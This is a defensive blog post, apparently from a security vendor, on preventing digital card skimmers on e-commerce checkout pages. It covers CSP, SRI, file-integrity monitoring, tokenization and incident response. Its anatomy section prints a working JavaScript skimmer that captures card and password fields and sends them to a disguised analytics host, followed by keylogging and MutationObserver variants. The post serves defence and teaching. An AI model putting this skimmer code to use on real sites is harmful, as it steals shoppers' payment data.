Security

Preventing Card Skimmers on E-Commerce Sites: 2025 Defense Guide

Digital card skimmers (formjacking) steal payment data from e-commerce sites. Learn detection techniques, prevention strategies, and how to protect your customers from this growing threat.

A
Andrew - Admin
9 months ago
6 min read

The Growing Threat of Digital Card Skimmers

Digital card skimmers, also known as formjacking or web skimming, have become one of the most lucrative attacks targeting e-commerce sites. Unlike physical card skimmers attached to ATMs, these attacks inject malicious JavaScript into checkout pages to steal credit card data as customers type it in.

Between 2022 and 2024, digital skimming attacks increased by 300%, affecting major retailers and small businesses alike. The average breach costs businesses $1.3 million in direct losses, regulatory fines, and reputational damage. Understanding how these attacks work is essential for protecting your customers and business.

How Card Skimmer Attacks Work

Modern card skimming attacks follow a predictable pattern:

  1. Initial Compromise: Attackers gain access to your website through vulnerable plugins, compromised admin accounts, or supply chain attacks
  2. Skimmer Injection: Malicious JavaScript is injected into checkout pages or payment forms
  3. Data Collection: The skimmer captures form data as customers enter payment information
  4. Data Exfiltration: Stolen data is transmitted to attacker-controlled servers
  5. Persistence: Attackers maintain access through backdoors to re-inject skimmers if removed

Common Injection Points

Skimmers can be injected in multiple locations:

  • Inline JavaScript: Directly embedded in HTML pages
  • External Scripts: Hosted on compromised third-party domains or attacker infrastructure
  • Database-Stored Content: Injected into database fields that render on checkout pages
  • Third-Party Dependencies: Compromised npm packages, WordPress plugins, or Magento extensions
  • Tag Managers: Malicious tags added to Google Tag Manager or similar platforms

Anatomy of a Modern Card Skimmer

A typical 2024 card skimmer looks like this:

(function() {
  var exfil = function(data) {
    var img = new Image();
    img.src = 'https://legitimate-analytics.com/track?' + btoa(JSON.stringify(data));
  };
  
  document.addEventListener('submit', function(e) {
    if (e.target.querySelector('input[type="password"]') || 
        e.target.querySelector('input[name*="card"]')) {
      var formData = {};
      new FormData(e.target).forEach((value, key) => {
        formData[key] = value;
      });
      exfil(formData);
    }
  }, true);
})();

This skimmer:

  • Runs immediately in an anonymous function to avoid detection
  • Disguises exfiltration as an analytics tracking pixel
  • Captures all form data when forms containing passwords or card fields are submitted
  • Base64 encodes stolen data to hide it in URL parameters
  • Uses legitimate-looking domain names to evade blocklists

Advanced Skimmer Techniques

Keylogging and Input Monitoring

Rather than waiting for form submission, advanced skimmers monitor individual keystrokes:

document.addEventListener('input', function(e) {
  if (e.target.matches('[name*="card"], [name*="cvv"]')) {
    sendData(e.target.name, e.target.value);
  }
});

This approach captures data even if users abandon the checkout process before submission.

DOM Mutation Observers

Some skimmers use MutationObserver to detect when payment forms are dynamically added to the page:

new MutationObserver(function(mutations) {
  mutations.forEach(function(mutation) {
    mutation.addedNodes.forEach(function(node) {
      if (node.querySelector && node.querySelector('input[type="password"]')) {
        attachSkimmer(node);
      }
    });
  });
}).observe(document.body, {childList: true, subtree: true});

This ensures the skimmer activates even on single-page applications that load payment forms dynamically.

Evasion Techniques

Modern skimmers employ sophisticated evasion:

  • Geofencing: Only activating for specific countries or IP ranges to avoid security researchers
  • Time-based Activation: Remaining dormant for days or weeks before activating
  • Conditional Loading: Only loading on checkout pages to reduce detection surface
  • Code Obfuscation: Heavy obfuscation with anti-debugging checks
  • Legitimate Service Abuse: Using legitimate CDNs and analytics services for exfiltration

Detection Strategies

Subresource Integrity (SRI)

SRI ensures external scripts haven't been tampered with:

<script src="https://cdn.example.com/checkout.js" 
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"></script>

If the script content changes, browsers refuse to execute it. Generate SRI hashes using:

openssl dgst -sha384 -binary checkout.js | openssl base64 -A

Content Security Policy (CSP)

Strict CSP prevents unauthorized script execution and data exfiltration:

Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' https://trusted-cdn.com; 
  connect-src 'self' https://api.yoursite.com; 
  form-action 'self';

This policy:

  • Only allows scripts from your domain and specific CDNs
  • Restricts XHR/fetch requests to your API
  • Prevents form submissions to external domains

File Integrity Monitoring (FIM)

Automated monitoring detects unauthorized file modifications:

#!/bin/bash
find /var/www/html -type f -name "*.js" -o -name "*.php" | 
  xargs sha256sum > checksums.txt

# Compare against known-good checksums
diff checksums.txt checksums-baseline.txt

Run this hourly via cron and alert on any changes to critical files.

JavaScript Behavior Analysis

Monitor for suspicious JavaScript behaviors:

  • Event listeners on form inputs or submission
  • Network requests to unexpected domains
  • Base64 encoding of form data
  • Dynamic Image() creation for data exfiltration
  • localStorage or cookie manipulation

Tools like Observatory by Mozilla and CSP Evaluator can help identify risky scripts.

Third-Party Script Auditing

Regularly audit all external scripts loaded on checkout pages:

// Extract all script sources
document.querySelectorAll('script[src]').forEach(script => {
  console.log(script.src);
});

Maintain an allowlist of approved scripts and alert on any additions.

Prevention Best Practices

Minimize Third-Party Dependencies

Every third-party script is a potential attack vector. Eliminate unnecessary scripts from checkout pages:

  • Remove marketing pixels and analytics from payment pages
  • Self-host critical scripts rather than loading from CDNs
  • Use server-side analytics instead of client-side tracking
  • Disable unnecessary WordPress plugins on checkout pages

Implement Tokenization

Payment tokenization prevents sensitive data from touching your website:

  • Use hosted payment forms (Stripe Checkout, PayPal Buttons)
  • Implement client-side tokenization (Stripe Elements, Braintree Drop-in)
  • Adopt 3D Secure 2.0 for additional authentication

With tokenization, card data goes directly to the payment processor, bypassing your website entirely.

Network Segmentation

Isolate your payment infrastructure:

  • Host checkout pages on separate subdomains
  • Use different servers for checkout vs. marketing site
  • Implement strict firewall rules allowing only necessary connections
  • Restrict admin access to checkout page files

Regular Security Audits

Conduct quarterly security assessments:

  • Penetration testing focused on payment flows
  • Code review of checkout page changes
  • Third-party dependency audits
  • Plugin and theme vulnerability scanning
  • Admin account permission reviews

E-Commerce Platform-Specific Guidance

WooCommerce

// Disable scripts on checkout
add_action('wp_enqueue_scripts', function() {
  if (is_checkout()) {
    wp_dequeue_script('non-essential-script');
    wp_dequeue_script('marketing-pixel');
  }
});

Shopify

Shopify's hosted checkout provides built-in protection, but custom storefronts need additional security:

  • Use Shopify's Storefront API with client-side tokenization
  • Implement CSP headers on custom checkout pages
  • Enable Shopify's built-in fraud analysis

Magento

Magento sites are frequent targets. Critical protections:

  • Keep Magento core and extensions updated
  • Enable two-factor authentication for all admin accounts
  • Implement Magento Security Scan Tool
  • Use Magento's built-in CSP module
  • Subscribe to Magento security alerts

Incident Response for Skimmer Infections

If you discover a card skimmer on your site:

  1. Immediate Containment: Take checkout functionality offline or redirect to a clean backup
  2. Preserve Evidence: Create complete backups before making any changes
  3. Notify Stakeholders: Inform payment processors, acquiring banks, and potentially affected customers
  4. Forensic Analysis: Determine infection vector, dwell time, and data accessed
  5. Complete Remediation: Remove all malicious code, backdoors, and unauthorized admin accounts
  6. Regulatory Compliance: File required data breach notifications (PCI DSS, GDPR, state laws)
  7. Enhanced Monitoring: Implement continuous monitoring for at least 90 days post-incident

PCI DSS Compliance Considerations

Card skimmer prevention aligns with PCI DSS requirements:

  • Requirement 6.5: Develop secure applications (including secure coding practices)
  • Requirement 6.6: Ensure web applications are protected (via WAF or code review)
  • Requirement 10: Track and monitor all access to network resources
  • Requirement 11: Regularly test security systems (including vulnerability scanning)

Implementing the protections described in this guide helps achieve PCI DSS compliance while protecting customers.

Emerging Threats and Future Outlook

Card skimming techniques continue evolving:

  • Supply Chain Attacks: Compromising legitimate third-party scripts used by thousands of sites
  • Fileless Skimmers: Loading entirely from memory without touching disk
  • Magecart-as-a-Service: Organized crime groups offering skimmer deployment services
  • Mobile App Skimmers: Targeting mobile payment apps and in-app purchases

Staying ahead requires continuous vigilance, regular security updates, and defense-in-depth strategies.

Conclusion

Preventing card skimmers requires a multi-layered approach combining technical controls, process improvements, and continuous monitoring. By implementing CSP, SRI, file integrity monitoring, and minimizing third-party dependencies, you can significantly reduce your risk.

Remember: the cost of prevention is always less than the cost of a breach. Invest in security now to protect your customers and your business reputation.

Frequently Asked Questions

1How do I know if my e-commerce site has a card skimmer?

Signs include unexplained JavaScript on checkout pages, external scripts from unfamiliar domains, customer reports of fraudulent charges, changes to payment form code, and security scanner alerts. Use tools like securityheaders.com, run file integrity monitoring, and review checkout page source code regularly.

2Can Content Security Policy (CSP) completely prevent card skimmers?

CSP is highly effective but not foolproof. A strict CSP prevents unauthorized scripts from loading and blocks data exfiltration to external domains. However, if attackers compromise an allowed script source or inject code inline before CSP is set, they may bypass it. Use CSP as part of a defense-in-depth strategy.

3What is Subresource Integrity (SRI) and why is it important?

SRI ensures that external scripts loaded from CDNs haven't been modified by attackers. You include a cryptographic hash of the expected script content in the script tag. If the script is tampered with, the browser refuses to execute it. This protects against compromised CDNs and man-in-the-middle attacks.

4Should I host all scripts locally instead of using CDNs?

Self-hosting eliminates third-party CDN risks but introduces maintenance overhead. You must manually update libraries and lose CDN performance benefits. The best approach is: self-host critical payment scripts, use major trusted CDNs (Google, Cloudflare) for general libraries with SRI, and eliminate unnecessary scripts entirely from checkout pages.

5What should I do if I discover a card skimmer on my site?

Immediately take checkout offline or redirect to a clean backup. Preserve evidence with complete backups. Notify your payment processor and acquiring bank immediately. Conduct forensic analysis to determine scope and duration. Remove all malicious code including backdoors. File required breach notifications under PCI DSS, GDPR, and applicable state laws. Implement enhanced monitoring for 90+ days.

Protect Your Website Today

Run a comprehensive security scan to detect malware, vulnerabilities, and security issues before they impact your business.